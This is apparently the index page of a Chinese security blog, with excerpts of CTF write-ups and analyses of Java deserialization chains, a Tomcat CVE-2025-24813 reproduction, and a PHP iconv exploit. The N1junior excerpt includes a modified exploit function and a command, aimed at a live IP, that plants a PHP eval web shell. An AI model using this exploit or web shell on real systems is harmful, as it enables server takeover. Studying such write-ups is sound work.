GSBP's Blog

Interesting in CyberSecurity

软件攻防赛现场赛上对justDeserialize攻击的几次尝试

前言

一个关于本地打通无数次但远程0次的故事

题目分析

题目直接给了一个反序列化的入口点

image-20250324233735530

其中有两层防御

  • 对我们的反序列化数据流中的明文进行简单判断过滤
  • 使用了一个自定义反序列化类来对我们的反序列化数据流进行反序列化

其中自定义化反序列化类代码如下

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.ezjav.utils;

import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.ArrayList;

public class MyObjectInputStream extends ObjectInputStream {
    private String[] denyClasses;

    public MyObjectInputStream(ByteArrayInputStream var1) throws IOException {
        super(var1);
        ArrayList<String> classList = new ArrayList();
        InputStream file = MyObjectInputStream.class.getResourceAsStream("/blacklist.txt");
        BufferedReader var2 = new BufferedReader(new InputStreamReader(file));

        String var4;
        while((var4 = var2.readLine()) != null) {
            classList.add(var4.trim());
        }

        this.denyClasses = new String[classList.size()];
        classList.toArray(this.denyClasses);
    }

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        int var5 = this.denyClasses.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            String denyClass = this.denyClasses[var6];
            if (className.startsWith(denyClass)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }

        return super.resolveClass(desc);
    }
}

blacklist中读取baned类,且在resolveClass中进行过滤

2025-03-24

[Tomcat]CVE-2025-24813复现及原理分析

前言

出了个通告说Tomcat有个新的cve,于是来尝试复现分析一下

通报

关于漏洞的通报细节如下

image-20250312143659450

一看又是DefaultServlet的put方法上出的洞,这里漏洞利用有两种形式,一个是信息泄漏和篡改,还有一个是反序列化RCE,而且要求的前置项有点多,这里简单列出来

信息泄漏/篡改

  • ReadOnly为false

  • 支持partial PUT方法

  • 攻击者知道敏感文件的名称

  • 安全敏感文件的上传目标 URL 是公开上传目标 URL 的子目录(?这个看不懂,也不知道啥意思)

反序列化RCE

  • ReadOnly为false
  • 支持partial PUT方法
  • 服务开启以文件为存储形式的持久化链接,并且采用默认位置
  • 有能够引起反序列化漏洞的依赖

环境搭建

我参考的这篇文章搭建的环境

https://juejin.cn/post/7331544684290228250

接下来修改readonly

tomcat目录/conf/web.xml

    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
      <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
      </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

开启持久化链接文件模式

tomcat目录/conf/context.xml

<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<!-- The contents of this file will be loaded for each web application -->
<Context>

    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
  <Manager className="org.apache.catalina.session.PersistentManager"
           debug="0"
           saveOnRestart="false"
           maxActiveSession="-1"
           minIdleSwap="-1"
           maxIdleSwap="-1"
           maxIdleBackup="-1">
    <Store className="org.apache.catalina.session.FileStore" directory=""/>
  </Manager>
</Context>

往pom.xml下塞入CC依赖

2025-03-12

[2025]N1junior-WP

Gavatar

一个php服务

这里看upload.php有着很明显的任意文件读的漏洞,只需要post一个url参数就可以

if (!empty($_FILES['avatar']['tmp_name'])) {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
        die('Invalid file type');
    }
    move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {
    $image = @file_get_contents($_POST['url']);
    if ($image === false) die('Invalid URL');
    file_put_contents($avatarPath, $image);
}

flag也不能直接读,需要rce调用/readflag,然后就开始想能不能和其他php文件下的漏洞一起利用

也是没有其他能够接着利用的漏洞了,然后看到php版本是8.3.4,就想到那个iconv的漏洞利用

https://www.ambionics.io/blog/iconv-cve-2024-2961-p1

因为不是直接返回文件内容,而是需要我们从avatar.php中获取,这里需要稍微改一下脚本中的download函数,要提前注册一个用户,然后把session和user填上即可

    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        self.send(path)
        response=self.session.get("http://39.106.16.204:20871/avatar.php?user=123")
        print(response)
        data = response.text
        return base64.decode(data)

然后跑exp就好了

python test.py http://39.106.16.204:20871/upload.php "echo '<?=@eval(\$_POST[0]);?>' > shell.php"

image-20250211210919337

2025-02-11

SpringAOP链学习

前言

在浏览文章的时候看见有师傅发现了一条仅依赖于Springboot中的SpringAOP的链,于是自己调试学习了一下

正文

依赖于Spring-AOP和aspectjweaver两个包,但是springboot中的spring-boot-starter-aop自带包含这俩类

流程

调用链如下

JdkDynamicAopProxy.invoke()->
ReflectiveMethodInvocation.proceed()->
AspectJAroundAdvice->invoke->
org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()->
method.invoke()

执行类是org.springframework.aop.aspectj.AbstractAspectJAdviceinvokeAdviceMethodWithGivenArgs方法

image-20250123020448769

    protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {
        Object[] actualArgs = args;
        if (this.aspectJAdviceMethod.getParameterCount() == 0) {
            actualArgs = null;
        }

        try {
            ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);
            return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);
        } catch (IllegalArgumentException ex) {
            throw new AopInvocationException("Mismatch on arguments to advice method [" + this.aspectJAdviceMethod + "]; pointcut expression [" + this.pointcut.getPointcutExpression() + "]", ex);
        } catch (InvocationTargetException ex) {
            throw ex.getTargetException();
        }
    }

直接在AOP依赖下的一个sink点,有着反射执行任意方法的能力,操作空间很大

2025-01-23

JDK17打Jackson+LdapAttruibute反序列化

起因

本月五号的时候打了个软件攻防赛,里面有道java当时没做出来,用的ldapAttribute+Jackson死活没通,后面自己调试了一下,这里做个记录

题目分析

题目名叫JDBCParty,jdk版本是17,里面给了个接口源码如下

    @PostMapping({"/dbtest"})
    public ResponseEntity<String> dbtest(String data) {
        try {
            User credentials = (User)Utils.deserialize(data);
            Class.forName(this.driverClassName);

            try (Connection connection = DriverManager.getConnection(this.url, credentials.getUsername(), credentials.getPassword())) {
                if (connection.isValid(5)) {
                    return ResponseEntity.ok("connect success");
                } else {
                    return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("connect failed");
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("connect failed " + e.getMessage());
        }
    }
}

表面上是给了个JDBC的入口,但是我们能控的只有username和password,打不了jdbc。

实际入口是那个反序列化,从这个反序列化里面做文章

然后看看题目给的依赖

- "BOOT-INF/lib/spring-boot-3.3.5.jar"
- "BOOT-INF/lib/spring-boot-autoconfigure-3.3.5.jar"
- "BOOT-INF/lib/logback-classic-1.5.11.jar"
- "BOOT-INF/lib/logback-core-1.5.11.jar"
- "BOOT-INF/lib/log4j-to-slf4j-2.23.1.jar"
- "BOOT-INF/lib/log4j-api-2.23.1.jar"
- "BOOT-INF/lib/jul-to-slf4j-2.0.16.jar"
- "BOOT-INF/lib/jakarta.annotation-api-2.1.1.jar"
- "BOOT-INF/lib/snakeyaml-2.2.jar"
- "BOOT-INF/lib/jackson-databind-2.17.2.jar"
- "BOOT-INF/lib/jackson-annotations-2.17.2.jar"
- "BOOT-INF/lib/jackson-core-2.17.2.jar"
- "BOOT-INF/lib/jackson-datatype-jdk8-2.17.2.jar"
- "BOOT-INF/lib/jackson-datatype-jsr310-2.17.2.jar"
- "BOOT-INF/lib/jackson-module-parameter-names-2.17.2.jar"
- "BOOT-INF/lib/tomcat-embed-core-10.1.31.jar"
- "BOOT-INF/lib/tomcat-embed-el-10.1.31.jar"
- "BOOT-INF/lib/tomcat-embed-websocket-10.1.31.jar"
- "BOOT-INF/lib/spring-web-6.1.14.jar"
- "BOOT-INF/lib/spring-beans-6.1.14.jar"
- "BOOT-INF/lib/micrometer-observation-1.13.6.jar"
- "BOOT-INF/lib/micrometer-commons-1.13.6.jar"
- "BOOT-INF/lib/spring-webmvc-6.1.14.jar"
- "BOOT-INF/lib/spring-aop-6.1.14.jar"
- "BOOT-INF/lib/spring-context-6.1.14.jar"
- "BOOT-INF/lib/spring-expression-6.1.14.jar"
- "BOOT-INF/lib/thymeleaf-spring6-3.1.2.RELEASE.jar"
- "BOOT-INF/lib/thymeleaf-3.1.2.RELEASE.jar"
- "BOOT-INF/lib/attoparser-2.0.7.RELEASE.jar"
- "BOOT-INF/lib/unbescape-1.1.6.RELEASE.jar"
- "BOOT-INF/lib/slf4j-api-2.0.16.jar"
- "BOOT-INF/lib/spring-core-6.1.14.jar"
- "BOOT-INF/lib/spring-jcl-6.1.14.jar"
- "BOOT-INF/lib/ojdbc11-21.14.0.0.jar"
- "BOOT-INF/lib/tomcat-jdbc-10.1.31.jar"
- "BOOT-INF/lib/tomcat-juli-10.1.31.jar"
- "BOOT-INF/lib/batik-swing-1.14.jar"
- "BOOT-INF/lib/batik-anim-1.14.jar"
- "BOOT-INF/lib/batik-parser-1.14.jar"
- "BOOT-INF/lib/batik-svg-dom-1.14.jar"
- "BOOT-INF/lib/batik-awt-util-1.14.jar"
- "BOOT-INF/lib/xmlgraphics-commons-2.6.jar"
- "BOOT-INF/lib/commons-io-1.3.1.jar"
- "BOOT-INF/lib/commons-logging-1.0.4.jar"
- "BOOT-INF/lib/batik-bridge-1.14.jar"
- "BOOT-INF/lib/batik-xml-1.14.jar"
- "BOOT-INF/lib/batik-css-1.14.jar"
- "BOOT-INF/lib/batik-dom-1.14.jar"
- "BOOT-INF/lib/xalan-2.7.2.jar"
- "BOOT-INF/lib/serializer-2.7.2.jar"
- "BOOT-INF/lib/xml-apis-1.4.01.jar"
- "BOOT-INF/lib/batik-ext-1.14.jar"
- "BOOT-INF/lib/batik-gui-util-1.14.jar"
- "BOOT-INF/lib/batik-gvt-1.14.jar"
- "BOOT-INF/lib/batik-script-1.14.jar"
- "BOOT-INF/lib/batik-shared-resources-1.14.jar"
- "BOOT-INF/lib/batik-util-1.14.jar"
- "BOOT-INF/lib/batik-constants-1.14.jar"
- "BOOT-INF/lib/batik-i18n-1.14.jar"
- "BOOT-INF/lib/xml-apis-ext-1.3.04.jar"
- "BOOT-INF/lib/fastjson2-2.0.37.jar"
- "BOOT-INF/lib/spring-boot-jarmode-tools-3.3.5.jar"

有tomcat-jdbc,snakeYaml,EL,Jackson和fastjson2等等,题目指向性很强,就是让我们用一个JNDI通过Tomcat-JDBC打EL,snakeYaml表达式注入的操作

2025-01-20